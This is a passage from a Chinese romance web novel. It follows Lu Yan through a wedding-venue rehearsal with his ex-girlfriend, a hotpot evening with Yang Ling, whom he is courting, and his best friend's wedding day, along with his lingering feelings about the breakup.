“你会穿高跟鞋了,以前不是最讨厌这种吗?” 追求爱与自由的女子,怎会为了迎合他人、选择自我束缚的高跟鞋呢? 大厅此时空旷,旁边竖立一个由三重半闭合堆叠的环形装置,‘信任之环’下,说话很缓、很轻。 “所以我说走慢点啊,下次你结婚的时候别忘了。” “下......” 没想到他会在别人的婚礼上当上‘新郎’、并开始讨论起下次当新郎的话题。 到他结婚的时候......在红毯上等着的又会是谁? 分手后,陆砚从没想过这个问题。 她这么说,是因为有结婚打算了? 陆砚闭嘴。 这里本该笑着说,一回生二回熟,多走一道红毯原来也有好处。 他说不出口。 总觉得这里似蒙上了层神圣的光环,不合时宜的玩笑会被道德与爱情之神降下惩罚。 “二位,咱们来到红毯区了,我们采用无边界环形设计,到时候两侧会摆上鲜花、气球等装饰,当然,如有其他想法我们肯定会照办。” 脚下白色的站台渐渐被红毯覆盖,庄重的气氛随之降临。 李经理说,这叫‘包容之庭’。 作为‘以信任代替束缚,以包容成就永恒’的婚姻哲学表征! “噔!” 压力感应灯随二人到来亦步亦趋亮起,两人穿过干冰喷雾缓缓前行。 手心微微出汗,也不知是谁的。 那便是陆砚的。 “你觉得两边摆蜡烛怎么样?总觉得这里太生硬了,需要点动感。” 她目不斜视小声说,吐槽带着细微亲和语气,打退了几分肃穆感。 印象中,两边一般都是鲜花、气球之类的吧? 林晚声是个讨厌‘个性被埋没’的人,陆砚想着,换了个角度提意见: “咱们得考虑安全问题,将一切可能影响当天进度的事宜抹杀、让他俩顺利成婚,所以这块委屈下吧。” “没有办法吗?” “......爱抵万难。” 这么说道,她深以为然,进来之后头一回露笑,两颊酒窝漾起醉人的引力。 都是熟悉的感觉。 熟悉的手牵手,熟悉的步调,熟悉的讨论和一起向前走。 就宛如,真是他们的婚礼。 走过‘自由之径’到舞台区,是交换戒指、宣誓、拥吻等关键环节行进的地方,亦是此时两人......三人停下的地方。 这里有梦幻的纱幔、绚丽的灯光造型,和暂时空置的大屏幕。 李经理说,彼时会放映三百位陌生人和二十位亲朋的祝福视频。 他还说,可以根据二位的补充,引进更多充满创意的艺术装置。 他的描绘里,宾客会在此欢聚一堂,于音乐响起时全场注视中推出两位新人,在司仪、旁人配合下完成庄重宣誓。 庄重程度会远超现在,即使陆砚已经感到严肃。 “你觉得怎么样?”林晚声问。 “很好,描绘得很好。” “那就是没意见咯?真不知道颜颜喊你干嘛来了......” 陆砚没听出半点嫌弃,因为至此,对方还没松手。 像在等互宣誓词一样。 “李经理,需要设置照片展示区,陈列新人的婚纱照。” 林晚声松手向李经理走去,不想差点一个趔趄身形晃了晃,于是陆砚又抓住她一起走。 “纱幔有点压抑,白灯过于耀眼,部分嘉宾可能不适。你们那边有没有......手机给我一下。” 陆砚把手机递给她。 熟练解锁,单手打字搜索,行云流水。 不愧是吉他手。 三人把脑袋凑向屏幕,一个藤蔓缠绕的拱门出现视野。 就像老洋房里的陈设,宽敞的前院用铁艺栏杆围着,栏杆上雕花,栏杆下栽种绿植,都是为了缓解空间上的‘生硬’。 合理,他在心里默默认同,并下意识捏了捏对方的手。 “...” “好的,谢谢反馈,最后我想请二位评价一下,在这结婚感觉怎么样?我们的落实是否符合策划预期呢?” 略过对方因文字省略而容易产生的语义分歧,陆砚其实对这类执行不太感冒。 老实讲,当初他们是怎么承诺的? ‘爱情如蝴蝶,越紧握越褪色’为哲学原点,提炼‘自由共生、温柔守望’的情感内核。将蝴蝶的轻盈姿态、蜕变过程与爱情的成长轨迹相呼应,通过空间设计、流程仪式、细节符号的层层递进...... 原话如上。 结果到最后,自由和温柔是蛋糕塔和香槟塔;空间设计需要林晚声督促补漏;流程仪式照搬;蝴蝶用放映完成。 这开头和这结尾......很爱情。 也很贴合大多现实中的爱情轨迹。 陆砚能说什么呢? 在有限条件下人家也不能真修个艺术场出来。 酒店基本格局锁死,顶上开个洞让阳光流下来的操作更多源于故事,而非生活。 尽管过程中,他有感动和代入的瞬间,但这和策划设计无关。 若是在理想国,陆砚给整场打30分。 但此刻,他会给85分。 因为对方给了陈禹实惠的价格,和最大限度的服务。 因为陈禹并不会在意这些,陈禹很满意。 陆砚没说话,不知道说什么。 第四十八章 海洋淹没陆地 “要调整。” “不用大调整。” “你不懂,这很重要。” 虽然我对你的意见做了补充,却也没到反驳的程度啊。 从归纳阵营角度来讲,明明站在你这边了! 大厅休息区,一张小圆桌,两人对坐,桌上咖啡微热。 “这些事情也不能让颜颜自己去操心吧?你给陈禹打电话。” “得,得,颜朵让我来帮陈禹,你心疼颜朵让我给陈禹打电话。” 按照剧本逻辑,这里还得加一句‘就没人心疼他’。 “那你说,陈禹是怎么想的?”她问。 陈禹巴不得简单发个朋友圈然后收份子钱就结束! 但不能实话实说,不然就变成‘陆砚是这样想的’了。 遂决定掏出手机呼叫陈禹。 响铃很久才接听。 “歪?砚哥。” “酒店,问你怎么想的,速来。” “哦不用了,颜颜说给林晚声把关。” “就是她问你。” “咦~你俩别拿我开涮......那你代表我吧,你知道我的。” 挂了。 他看着林晚声,林晚声的眼睛很漂亮,像有人在她眼底撒了把星辰。 但还有人说,星辰闪烁的光像刀剑寒芒。 陆砚抿一口咖啡,“陈禹说要调整,大调特调。” 沟槽的陈禹,我知道你,但你不知道我。 更不知道我在面对什么! 所以,我以为你知道我,但我错了,于是我变得不知道你。 摇摇车摇得头晕,得放下咖啡缓缓。 “得了吧你,咖啡冷了没,我叫他们帮你换一杯。” “然后顺便跟人家说换个场地?”陆砚笑着打趣,示意不用。 她以一个非常夸张的姿态摊开双手,仿佛托起了整个酒店大厅: “我开玩笑的你看不出来吗!哪有比新娘还上心的伴娘啊!” 脸上生动几分。 因为玩笑得到了配合,连陈禹都秒懂的事情,对方明知是假戏还真配合了。 值得给个笑脸。 然而一个笑脸值几个钱呢? 如果对方需要,一百块他能交出七十块。 倘若是一年前,他会直接贷款。 就是这么值钱。 “所以哪里不足你要记住,等你再婚的时候提前跟人说。” 陆砚想到这样一句话回敬对方,并试图在她脸上找到蛛丝马迹: 桃花眼、鹅蛋脸,弧度优美。 可以倒映夜空中闪烁的星星、又似清澈湖水中灵动的鱼儿,整个人带着一丝俏皮与灵动。 就是没有他所期待的失神瞬间。 “再婚?你女朋友知道你结婚了吗?” 谁知对方突然不开玩笑,咖啡骤然一冷。 陆砚觉得是时候离开了。 “还有,我们见面你报备了吗?上次人家可是大半夜专程赶来把你送回去的呢。” ...... 原来不知不觉他已经虚构了两个角色——女朋友和新郎。 而且这两个角色都是为了面对同一个人而创建,迄今连自己都迷茫,这样做究竟为了什么? 明明有一万个路口可以揭示‘女朋友’是虚拟的,却任由对方因此与他分道扬镳。 陆砚把手抵在方向盘,想象一个大胆的情况: 如果结束和杨灵的暧昧关系,便能挽回林晚声的话...... 想到此处便笑了,这和之前有什么区别? 五年磨合都没能修成正果的关系,是如今一时冲动就能善终的? 何况人家有更优的选择——陆砚心底并不认为——但物质条件上确实如此。 “叮——” @Adeline:(吃饭了吗.jpg) 今天过节,杨小姐昨天说过请他吃饭,他还没回复。 手指关节紧了紧,这一刻,比刚出酒店还难受。 他能察觉林晚声的变化,比以往沉稳了些、考虑多了些,就像他能明白杨灵的真诚一样。 她不是个热情奔放的人,却在拨云见雾前勇敢迈步向前; 她亦不是弃名节不顾的人,只是真诚和善良卸下了矜持的外衣。 对方像十八岁少女初临爱河边那样虔诚而向往,携着最完满的情绪和纯洁的过往祈愿美好。 偏偏命运给她安排的人,是个把几乎全部情感投到上段恋爱中的空乏躯体。 她会为一条带有暗示的消息而雀跃,他不会;她会渴望和相爱之人长相厮守,他不会。 甚至经历过之后,再想到会感觉疲惫。 陆砚曾吃过一种糖,初次品尝让他甜得忘乎所以,时间一长又叫人发腻,舍不得放弃便不得不忍受。 再之后他适当松了松,开始让注意转移到他处,为了彼此更美好的未来而拼搏。 一路走来,有笑有泪,最终甜味渐渐淡去,花开花落。 可杨灵,大抵没吃过。 他们之间,太不公平。 陆砚拨通电话。 “张哥张哥,淡水路,老兵烧烤感不感兴趣?” “111,陆哥陆哥,国庆快乐!” ...... “我打小就不明白一个问题,地球上有百分之七十的海洋和百分之三十的陆地,那么百分之三十的海洋和百分之七十的陆地去哪了?” “砰!” 扎啤杯相碰,可浇块垒。 压力随酒精泡沫消散而消散。 “你别说,这问题听起来绕,实则一点内容也没有。”陆砚笑笑,不愿动脑。 “陆哥,读过书的人不能偷懒,遇到问题要勇于挑战!” 对方得意挑眉。 对于用一个问题抹平两者之间学历的差距十分热衷。 因为酒后,人人平等。 炙烤金黄的羊腿在灯罩下丝丝冒气,孜然颗粒包裹下,关于这只羊的一生便被彻底掩埋。 不论健康与否,新鲜与否,重料面前一视同仁。 酒精与烧烤哲学下,这便是为什么男人热衷的原因。 “读过书的说,三十的海洋被土埋了,七十的陆地被水淹了。” 亲爱的朋友,你要是愿意,把海洋和陆地换成一个人的过去与未来,或者把情感一分为二,其实也说得通: 有些情感、人生,就像万年以来海洋默默侵蚀陆地一样,短期内是不可再生之物。 陆砚感到惆怅,这说明他进入了状态、以及张野优秀的酒量。 “卧槽,脑子转这么快?再喝一个,陆哥!” 这小子不是个灌酒让人感到讨厌的人,因为不管对方喝与不喝他都不会恼,而且从不空杯。 于是,喝。 “陆哥,再给你来个问题。你说‘孝顺’像什么?我是说对自家老爹老娘,不是男女朋友间的情趣~” “...” 得,这补充还不如不说,现在的年轻人已经玩这么花了? 有辱斯文! “张哥,你说,我不说了。” 两人分别打了个酒嗝,不约而同夹菜。 “孝顺就像是内裤,多数人都穿在身上,但是如果有人刻意外穿展示,那就有问题了。” “超人呢?” “超人除外。” 张野国庆节没跟家里联系,对应的,也人没跟他联系、甚至于临时酒局他也有空随叫随到。 每个人都有自己的课题,在众多课题中,情感类倒显得不是那样严峻。 陆砚没往沉重的方向追问,只是一味倒酒。 五花肉串焦而脆香,撒上葱花味道刚刚好; 牛油焦而不脆,掌中宝脆而不焦,火候拿捏颇有匠心。 这家烧烤水平甚是不错,有时候吃着吃着,会让人自发觉得喝太多酒会辜负了美味! “陆哥,你跟杨督察怎么样了?还没在一起?” 话锋一转,话题倒是吹向他的纠结处了。 “这才多久?一个月还差几天就在一起?”他现在是个慢热的人。 额......但偶尔,不希望对方也是慢热的人。 “网上都怎么说的,俩人天天见面,一个星期没进展那就没戏。因为那啥......什么喜欢藏不住?” 看来酒喝得差不多了。 话说,他和杨灵还真是认识一个星期左右就有点刹不住车...... 和林晚声那会也是。 这个‘一星期’理论真真那么有效? 陆砚突然很想见杨灵,就像冬天突然想念一束栀子花。 好在杨灵就在那里,他随时能找到。 墨斗先生:亲爱的朋友,今天还好吗? 对方正在输入中。 @Adeline:(小兔子乖巧.jpg) ‘小兔子’像被妈妈叮嘱不要给大灰狼开门那样乖巧。 可‘小兔子’还是偷偷在一个漆黑的夜晚出门,把喝醉的他安置在酒店默默离开。 就连赌气,都要提前说一声,生怕对方不来哄她。 小兔子,你知道吗? 陆砚看向外面车水马龙的城市,他真的、真的, 好想爱你。 第四十九章 换件衣服要多久? 陈禹觉得与其拜托朋友、借车组成迎亲队,不如直接找婚庆公司租车来得划算。 既可以统一车型、他们给你配备司机避免事故风险,还不用碍于人情事后给包一个更大的红包。 陆砚对此很赞同。 这样他可以直接拉一个企业微信群,明天要求车队在各个节点汇报进度即可,公事公办效率高。 陈禹觉得与其找婚前公司租头车,不如直接拜托陆砚,让他带着女朋友、开那辆拉风的保时捷过来。 陆砚对此很不满。 这会让他晚上突然找杨灵吃饭、给她买花等一系列行为在对方眼里变了质。 可不满归不满,他能反对吗? 人生大事上,只要不是用陆砚的身份证和房产证去抵押贷款加杠杆,他都不遗余力支持。 从大学室友到创业,从微末之萍到立足生根。 见证他们一路走来、跌跌撞撞却不分离,陆砚发自内心祝福,祝福中混杂着羡慕。 尽管他和林晚声曾是最让人羡慕的一对。 车子停在公司门前,他再次复盘一遍今天需要核对的事项: 9辆宝马五系副婚车;路线规划以及两条备选路线;确认对讲机正常;鲜花装饰和车贴;开司机会议、确定纪律;婚前公司当天的现场管控以及引导宾客进入‘签到区’...... 想了想,他决定再要求车辆配备雨伞毛巾之类的,做到尽量周到。 ...... 国庆第二天,天气很好,适合举国欢庆。 杨灵再次鸽掉了局里的聚会在家写论文。 工作桌上,左边屏幕是去年废寝忘食做的实验成果、数据,右边是文献参考和各类期刊。 本以为加上老洋房的项目经历,论文产出会很快。 但在这件事只有开始做后才明白,多少精力都不够填满。 透过防蓝光镜片,主屏幕上一行行英文字符在她指尖跃然成型,比使用中文拼音流畅不知几何。 假使陆砚在身后的话,定会为之惊讶。 可这片空间只有她,从放假开始便是如此。 270°环形落地窗只是拉上最外层的透光帘,这样阳光不必太刺眼、也不会过于强调‘那么好的天气为什么不和他一起出去玩’这件事。 对方最好的朋友明天结婚,他在忙,她知道。 她还知道,写文献综述的时候不该分神! 空旷的客厅里没有声响,键盘是静音键盘,半穿透窗帘、打在空气因子上的午后阳光在默默倾斜。 待到两点的闹铃将她从学术拉回现实,方才起身倒杯水,开始做眼保健操。 心里默默数拍子,坐姿端正,动作一丝不苟。 三二三四,四二三四...... 沿着刚才的分岔路继续想,他的前女友也会参加?两人会有交集吗? 只有她不能去。 边按天应穴,她瘪瘪嘴,想起昨天请他吃饭,未果。 杨灵做到第三节的时候,手机响了——是特别提示音。 于是数拍子速度快了些。 等‘按太阳穴、轮刮眼眶’做完后,立马赤脚去沙发拿手机。 我系统呢:买了十二次你是不是忘了?下午要不要去spa,姐陪你(墨镜.jpg) 叹了口气。 她按着语音键说:“可是乔乔,我综述还没写完诶~” 不久,对方的声音被压缩在一条信息里回了过来: “小姑娘你不要傲娇哦我跟你讲,今天你乔姐心情好才翻你牌子的,还有二十分钟到楼下,劝你赶紧顺杆往上爬耶!” 闻言笑了笑,去房间找外出衣服。 “叮——” 又一条消息。 墨斗先生:有没有美女照片,帮忙发一张(呲牙.jpg) 换衣服的事顿时丢到一边,想着,这条消息是什么意思呢? 首先,对方是个成熟稳重的人,不会发没有原因的消息; 其次,美女照片网上容易获得,没理由找她; 最后,这应该就是书上说的‘开启一个话题’式打招呼。 综上,陆砚的意思是‘下午好’,那么自己也需要表示问候。 杨灵点开对话框,开始默念汉语拼音并在手机键盘上付诸‘一指禅’。 少许,少许,少许时间。 @adeline:(小猫突然出现.jpg) 几经思路转换,最终放弃了发自己照片的决定。 虽然客观上她绝不认为自己不属于‘美女’行列,而且也乐得把肖像向对方单独授权。 但是乔乔说了,这是国内,流行矜持。 墨斗先生:方便通话吗,方便回1。 她抿住嘴唇,而后意识到对方不在,便笑了笑。 找到‘陆先生’,拨通电话。 “哇哦,这是你第二次主动给我打电话,节日快乐、下午快乐、新的一天元气满满呀杨小姐。” 陆砚用比陈奕迅唱浮夸还要来得浮夸的翻译腔开启了两人的电话,且奠定了愉快的基调。 这一招比任何套路都管用。 “下、下午好,陆先生。”杨灵含蓄笑道。 “不,我不好,我需要一张美女照片,这对你来说是件非常轻松、仅需五秒钟就能创造出的艺术作品,倘若你真心祝我好的话就成全我吧~” “你现在在哪呀,我好像听到音乐了。” 自然不会顺着照片的事往下聊。 一来,答应之后怕对方挂了;二来,她真的好奇陆砚在做什么。 “没错,婚庆公司在进行车辆音响确认,而婚前公司外面,我发现了一家不错的超市,里面极可能会有不错的火锅底料,所以杨小姐你中午吃的什么?晚上介意吃火锅吗?我对那家超市真的很有信心。” 陆砚的声音徐徐从听筒处跑出来,对方似乎能知道她会慢慢地、一个字不打断地听他说完。 心思转动间,杨灵计算完今天大致的卡路里摄入量后,默默决定之后三天只吃沙拉。 “火锅很好呀~” ...... “叮咚!” “叮咚!” 杨灵在打电话,完全没察觉。 “叮咚,叮叮叮咚!笃笃笃!” 门铃声转变为拍打声、往越来越暴躁的倾向发展时,她正好挂断电话,听到智能管家的提示音。 天呐! 杨灵缩了缩脖子,顾不上穿鞋,赶紧去开门。 短短二十来步的距离她想了四套应急方案,能平息对方‘怒火’无一例外,涉及虚构事实。 没办法了—— “咔哒!” 按下门把手。 在顾南乔身影还只露一半的时候,她抢先一步投身上前,双手环腰、一把抱住。 “...” “...” “灵灵?” 手臂松了半圈,看一下,眼里七分关心三分气愤。 不行。 再次抱紧,把头埋在她耳旁——对方穿高跟鞋正好。 “你......” 顾南乔算是看出来了,对方压根没事,偏偏自己还就消气了。 “好了好了,把鞋穿上,赶紧进去换衣服!” 说到这她平复下去的那股子气又在小腹翻涌。 二十五分钟!将近半个小时! 这个女人没准备好就算了,还大门不开、电话不接把她晾在外边这么久! 可是...... 又拿她有什么办法呢? 从小‘罩着’的妹妹突然抱住你,这气该消还得消啊! 杨灵松开手,再次确认眼神。 嗯,这下蒙混过关了。 “乔乔下午好~”她等对方换完鞋,挽着一起进屋。 顾南乔一进来也不闲着,直奔杨灵房间去。 平时即使把这个家翻个底朝天,她也不会‘擅闯’闺蜜的房间——这是应该预留的私人空间。 就像杨灵从不会未经允许翻她抽屉一样,不然有些东西......真的会让她颜面尽失。 房门还没来得及关上,莫兰迪灰为主调,搭配姜黄、藏蓝等点缀色的房间里似有淡淡香气,三米宽的大床横梗视野中央。 “说,把人藏哪了?打你电话半天打不通敲门也没反应,是不是在做坏事!” “......没有藏人,乔乔你帮我选衣服吧。” 她慢慢挪回房间,一只脚小心翼翼从顾南乔边上笼回拖鞋。 第五十章 开心很简单 樱花粉的保时捷taycan卡着城市道路限速上限穿梭在路上。 墨斗先生发消息说还二十分钟到她小区门口。 陆砚的人脸可没录入门禁,外来车辆不允许进来的。 又是一个左转红灯,左转红灯最长了。 为此,她有些微的烦恼,或者说幸福的烦恼。 顾南乔和陆砚不同程度的丰富了今天的生活,也是直到此时,假期的实感才彻底落到她身上。 就像十二岁第一次被父亲带去亚利桑那州看大峡谷前晚那样满足。 可惜乔乔要陪家人吃饭,杨灵是这么以为的,她们做完spa后便分手了。 所以,都是这样刚刚好,不是吗? 美丽的车身稳稳停在小区路边,旁边正好是陆砚的福特皮卡。 杨灵坐在车上没动,细细品味这段静谧时光。 是一种安心的心跳。 “笃笃!” “小姐姐一个人吗?放不方便交个朋友等会顺便到你家吃个晚饭?”陆砚轻轻拍响车窗,假装搭讪的城市‘潮男’。 曾经不懂,为什么男女之间可以目的如此强烈的结交。 现在轮到自己,他想,有没有可能人家早就认识了? 车窗缓缓降下,露出一张看不腻的脸,没有化妆、却水灵灵美得不可方物。 “今天格外好看,真的。” 真的。 “这位先生你自重,我从不带陌生人回家吃饭。”她顺手带上墨镜,顿时画风变得酷酷的。 人生中第二次搭讪就要‘失败’了吗? 陆砚暂时没有好的话术突破对方有理有据的防线。 于是把身后花束递过去。 “小姐姐,俺是诚心交友。你看这花,警察叔叔罚了我五十、路边刚摘的,新鲜的芬芳送给你。” 听说真诚是必杀技,如果没用的话那他再也不相信网友与网友之间的信任了。 额...... 其实他很稳,也知道杨小姐不会让自己输的。 “好吧,那今天就......破例一次吧。”她忍了忍,还是没绷住酷酷的脸,下车接过花。 作为回报,车进小区前还带着陆砚去门口录了个人脸,一下就跟顾南乔在小区系统中成一个级别的存在了。 两车一前一后驶入。 道路平坦、景致迤逦。 据不完全统计,好吧,据陆砚观察: 从门口到地下车库路边大乔木就有三十余株、常绿乔木十余株,小区绿化面积最少45%往上。 有气派建筑,也有小桥流水,可谓是曲折回环、移步异景。 “所以杨小姐,你家的密码就不能再通融一位吗?” 连楼下偌大的中央湖区他现在都可以想来就来了,偏偏一间大平层不让进? 飞机都买了不送个螺丝刀?实在不该! “诺,密码。” 她左手抱着花,右手手指伸到陆砚眼前,明晃晃地将答案告诉他。 就连指尖都泛起好看的颜色——川端康成果然没骗人! 正所谓君以诚待我,我必不负君。 冲着这份诚意,他就做不出悄悄开她家门的坏事! “欢迎主人回家!现已开启‘在家模式’。” 智能管家的情绪价值提供很及时,进门瞬间开灯。 不是骤然的强光,而是像晨曦漫过窗棂般,从 3000k暖黄光开始渐次提升亮度,灯珠里嵌着的棱镜将光线折射成细碎的金芒,落在地毯上。 这间房子确实散发着现代科技的魅力,陆砚认可。 但说把老洋房也像这个方向调教,那不行。 他想着,或许过几天气氛合适的时候,可以聊聊工作上的事了。 “你的拖鞋。”杨灵换好鞋便直奔客厅挂毯旁的角柜,角柜上有花瓶——这是最显眼的地方。 行进路线之简要,仿佛怀里是奄奄一息的病人。 她好像没有意识到,如今孤男寡女的局面诶,陆砚心下蠢蠢欲动。 这是否是一种暗示呢? ...... 这当然不是巧合。 顾南乔用那些几乎无法思考、马里亚纳海沟里最愚蠢的水母脑袋也能猜到,杨灵刚才在跟陆砚通话。 结合对方做完水疗项目后连护肤流程都略过不少的举动——女人一般不会拒绝护肤——她要是再猜不出来杨灵有约会,那必然就是存心想看她说好话的糯糯模样。 可是,滋溜一口泡面,现在是假期诶,杨灵真的真的需要好好放松一下。 至于她这边,泡面吃完了,顾明远不知道在不在家,反正法院官司结束后两人连一通电话都没有。 不知道的还以为他俩打了场官司呢。 哎。 社交圈里全是精致利己男和中老年富商。 再就是那些防女方跟防贼似的同行男律师,看起来成功人士模样、问就是不婚主义,还一个劲约她出来吃饭。 每个人都‘精’得哟,真当她是灵灵那种没出过校园的小姑娘啊! 再说了,论智商论学历,谁有自家闺女高?灵灵怎么就那么‘憨’? 人品不行就是不行! 沙发上瘫了瘫。 好无聊。 要不要打个电话过去?这时候灵灵的反应肯定有意思。 然后陆砚那小子肯定会在心里骂我,大概是些‘超级无敌大美女真是扫了小人的兴’之类的? 嘻嘻。 不对,我可是律师啊,还能被一个‘小瘪三’给骂了? 她霍然起身,‘怒发冲冠’,拿上车钥匙就准备去把场子找回来。 出门前顺便补了个口红。 ...... 火锅也没想到,这么简易的美食居然需要两个人肩并肩、你一言我一语分工完成。 就是被刚成为家庭主妇一小时的女人瞧见了也会嘲笑两人外行;但是在老陆眼里,这才是做饭的最高技巧,对方还是太年轻。 半小时之前,陆砚决定站在火锅底料的肩膀上大秀厨艺,而杨灵本着待客精神也加入其中,将本就没有多少的任务量活生生续费到‘近二十分钟两人才把水烧开’的程度。 当然,主要是漫天畅聊的对话让他们忘了做事。 好歹也将近两天没见面了耶,高兴、爱聊天,怎么了嘛? 所以陆砚时常怀疑杨小姐真的不是妲己变的吗? 好在工作的时候对方是另一个人设。 直到,老陆的视频电话打来。 “总之,这样做蛮好,蛮好,陆砚你后头不要放辣油之类的,灵灵不吃辣的。”老陆的画框中,他又一个人坐在河边,也不知吃了还是没吃。 陆砚没问。 吃了不必问,没吃......杨灵在旁边,有些家庭内容不必展示出来。 “好了好了,你们做饭慢慢来,叔叔先挂了啊!” “节日快乐,叔叔再见。” 挂断电话,杨灵没有把手机递过来,而是说: “陆砚,我们忘记煮饭了。” “?” 有火锅面,还需要煮饭? 男人看见的是一双坚定的眼睛,它拥有钻石的闪耀和不容置喙的坚硬。 或许其内在是不堪一击的,但陆砚觉得她开心就好。 于是去厨房假装煮饭吧。 从客厅到中岛西厨要十几步,穿过长长的半开放空间,他钻进了让人安心的封闭式中厨内。 当然,是让外面借机检查手机的人安心。 心里有个声音说,就该这样,忘了林晚声开启新生活。 他也是这样做的。 墙面上贴了各类食材的卡路里数值表,表侧写着一周食谱和相应体重卡路里摄入标准。 “脱脂奶250ml:88kcal,蛋黄60kcal,蛋白15kcal......” 想不出来,那个初见冷漠实则软萌的妹子,背地里这么自律? 还是说做做样子? 毕竟听网友说,有的漂亮女人不用花心思管理、随便胡吃海喝也轻轻松松完美身材。 杨灵会不会就是天赋型选手之一呢? 视线挪到橱柜。 干燥而整洁,就像一本买回家没拆塑封的书。 她平时都怎么吃饭的?点外卖? 不知是一个个‘问题’引起的‘好奇心’,还是应该两者换个位置。 天幕下,万家灯火通透。点点光芒、联结成片,可慰人心。 路边一辆粉色路虎独自在今夜中停了很久、很久。 第五十一章 月亮碎了 穿过陆家嘴的摩天楼峡谷,车身侧面的导流槽将黄浦江的湿气凝成雾霭,在车门下方形成半透明的粉色气帘色,如同一抹流动的晨雾。 原来车身颜色是如此重要,一路上收获的目光比之前开皮卡多多了。 昨天吃完火锅杨灵提议要不今天就开她的车,陆砚问为什么,她说这是明晚帮忙带饭的酬劳。 所以结果上还是如了陈禹的愿,拉风的头车以一个非常实惠的代价给他借来了。 手机没开静音,消息震动不断从左侧口袋传来,大概是接亲车队在群内汇总。 在开车,没管。 上海的交通监管和早上路况不容驾驶员分神看手机。 即使在等红灯。 不过倒是可以花几秒钟回味下那个气氛微妙的晚上。 陆砚帮着收拾完碗筷后并没有走,而是在沙发上久违翻看一本书。 杨灵在对面不过五步远的沙发上抱着抱枕看文献,咖啡色袜子上方晃过白嫩的脚踝。 是一个心安且留滋味悠长的夜,如果十点的时候没被房主赶出门外的话。 “轰!” 一脚油门,车子再次出发。 陈禹大婚,先领着车队去接新娘,必须忙碌且注定欢喜的一天开始了。 ...... 到了装窑阶段,老金锤了几拳麻木的腰杆,试图让血液活泛些。 窑是马蹄形的,前低后高,像口朝上的铁锅。 装窑得先砌火道,火道砖得斜着砌,让火苗能沿着往上走。 而砌火道得靠腰发力,老师傅的腰往往靠徒弟撑着。 徒弟跑了,今天结婚。 老金将坯子码成‘蜈蚣腿’,每层坯子之间垫三根高粱秆,留出一指宽的缝,让火可以顺利过去。 做到这一步,额头渗出虚汗。 他咬咬牙,在心里说,右边码好了就歇着。 老人记得当徒弟的时候,不小心把砖码在了窑后壁。 结果头一回自己做工,烧出来的砖硬度不够,被买家退了货。 哎! 那时急着出来赚钱,哪里知道码窑火候最关键是‘金角银边’——窑门右边的角叫‘金角’,温度最高,得码厚砖;窑后壁的边叫‘银边’,温度适中,码普通砖。 于是赔了钱,丢了面。 那次之后师傅不计前嫌,蹲在窑里教他看火痕,说,‘你看这砖角,烧成蟹壳青的才是金角的料,烧成猪肝红的就得放银边。’ 老金捧着‘金砖’码在‘金角’,一如三十多年前,揩了把汗。 青石铺子门口歪倒着礼盒,是陈禹昨天提来、老金丢掉没要的。 礼盒里没有请柬,他老金,此后也不会再认这个徒弟。 ...... 祥和喜庆、热气腾腾。 新郎团顺利迎走新娘,两人在泪洒当场的新娘父母祝福目光中离开,前去婚宴现场。 就像陆砚当天说的,‘将一切可能影响当天进度的事宜抹杀、让他俩顺利成婚’。 相信林晚声把所有接亲游戏设置得简单,也是出于此番考量。 他们做到了。 没有难题、没有意外和喧宾夺主,只有水到渠成、两人相爱的美好故事。 婚宴上,婚礼按当初试走仪式动线那样进行。 穿过‘信任之环’,相遇‘包容之庭’,途径‘自由之径’,便到了最后环节。 随着司仪推进,两人宣誓互换戒指。 “陈禹,记得你们第一次在咖啡馆相遇时,她把糖包撒了满桌,你偷偷拍下她手忙脚乱的样子—— 现在这个会为她整理裙摆的男人,请回答我: 你是否愿意用余生所有清晨为她煮一杯温度刚好的咖啡? 是否愿意在她加班晚归时,永远留一盏玄关灯? 是否愿意把她的梦想,也当作自己的人生课题?” “我愿意。” “好,新郎陈禹,从今天起,无论顺境或逆境,富裕或贫穷,健康或疾病,快乐或忧愁,你是否都将毫无保留地爱她,对她忠诚直到永远?” “我愿意。” “新郎陈禹,你是否......” 显然司仪收了新娘不少好处费,硬是在这个环节逮着陈禹签了好多个‘婚后条约’才肯问出‘你是否愿意娶颜朵为妻子’。 当然,他愿意。 他愿意,即使再来一千个问题他也愿意——来自陆砚的脑补,亦是他的祈愿。 望着台上同时期的恋人,心中慨叹。 总有人会实现年少时的梦,总有人用行动讲述一生一世一双人的故事,陆砚希望他们能带着自己曾经的梦想一直走下去。 吃完午饭,小酌,微微上头。 整个下午都是新娘新郎团的欢腾时刻,他们要吵着做游戏,过程中一起拍照、拍视频留念。 林晚声和陆砚亦裹挟在其中,但没有交谈,甚至今天林晚声一个眼神也没留给他。 他们玩了方言绕口令 battle,反向猜拳接力赛——赢的人需后退三步,输的人前进,最先碰到新人的队伍获胜。 一起做着整齐的动作大笑,新郎追着新娘、他们围成圈绕着两人蹦跳,最后一起唱歌—— 林晚声在这个环节自是难辞其咎,三首欢快应景的歌唱完,又退至人群充当气氛组,起哄让新娘展示。 其乐融融。 唯一让陆砚不满的是,好几个伴郎团这边的人去向林晚声搭讪,她也笑着陪聊。 武恺没来?护花使者怎么当的? 晚吃完晚饭已是八点,在陈禹以及伴郎团的‘百般告饶’下,那几位爱劝酒的亲戚才消停倒下、被人抬走。 陆砚没醉,并非故意躲酒,实在是陈禹理性坚持,不愿意让场面过于激烈。 喝完酒容易出事、且安置也麻烦,他这么说。 所以又磨蹭一会,陆砚喊来代驾,终于赶在九点左右来到杨灵家里。 一切顺利。 ...... “今天在做什么?” “在等你啊。” 有酒味,站在玄关处没有进去,他诧异道:“这么敷衍?” 杨灵微微偏过头,“可是书上说,这样回答比较好。” 这个姿势真可爱,恰如其分的疑惑与期待反馈的眼神。 不会也是书上学的吧? “诺,陈禹给你塞的大红包和喜糖,快拿着沾沾喜气。” 脑袋飘飘然,说着说着笑意忍不住,声音有些打结。 接过打包盒,望着还被他拿在手里的礼盒没有纠正,“你饿不饿?帮你冲杯牛奶,陪我一起吃。” 她身上那件雾凇蓝宽松居家服像一团会呼吸的云朵,在柔和得有些阴影的灯光下转眼飘走。 “嗒,嗒,嗒......” 拖鞋的声响渐渐微弱。 一阵巨大的悲伤在此时击中了他。 透过麻醉的酒精,重重刺向脑神经。 从今天开始,命运推着他选择了一条此前二十七年从未设想的路。 选择,既是得到,也意味着放弃。 林晚声,在充斥着樱花粉的晨风中,将彻底与他的生活告别。 这是和杨灵在一起必须经过的路,亦是她获得幸福途中无关紧要的插曲。 陆砚不是如此贪心的人。 只是每次一想到林晚声...... 樱花便落满了南山。 杨灵,杨灵。 漫天破碎的春日里,他像一个流离失所的人渴望回归家园,迫不及待在心中呼喊。 恰似一只香烟点燃之时,如此的空虚。 “陆砚,你怎么还不过来?” 